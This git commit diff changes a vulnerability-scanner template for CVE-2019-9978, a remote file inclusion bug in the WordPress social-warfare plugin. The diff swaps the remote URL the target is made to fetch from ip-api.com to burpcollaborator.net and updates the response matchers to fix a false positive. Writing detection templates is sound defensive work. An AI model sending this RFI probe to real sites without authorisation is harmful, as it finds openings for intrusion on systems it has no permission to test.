🔨 Fix false-positive CVE-2019-9978
parent
c229002dbb
commit
b2828c3a44
|
@ -2,7 +2,7 @@ id: CVE-2019-9978
|
|||
|
||||
info:
|
||||
name: WordPress social-warfare RFI
|
||||
author: madrobot
|
||||
author: madrobot & dwisiswant0
|
||||
severity: critical
|
||||
|
||||
# Reference:- https://github.com/mpgn/CVE-2019-9978
|
||||
|
@ -10,7 +10,7 @@ info:
|
|||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ip-api.com/json"
|
||||
- "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://burpcollaborator.net"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
|
@ -18,8 +18,5 @@ requests:
|
|||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "timezone"
|
||||
- "status"
|
||||
- "country"
|
||||
condition: and
|
||||
- "Burp Collabolator Server"
|
||||
part: body
|
Loading…
Reference in New Issue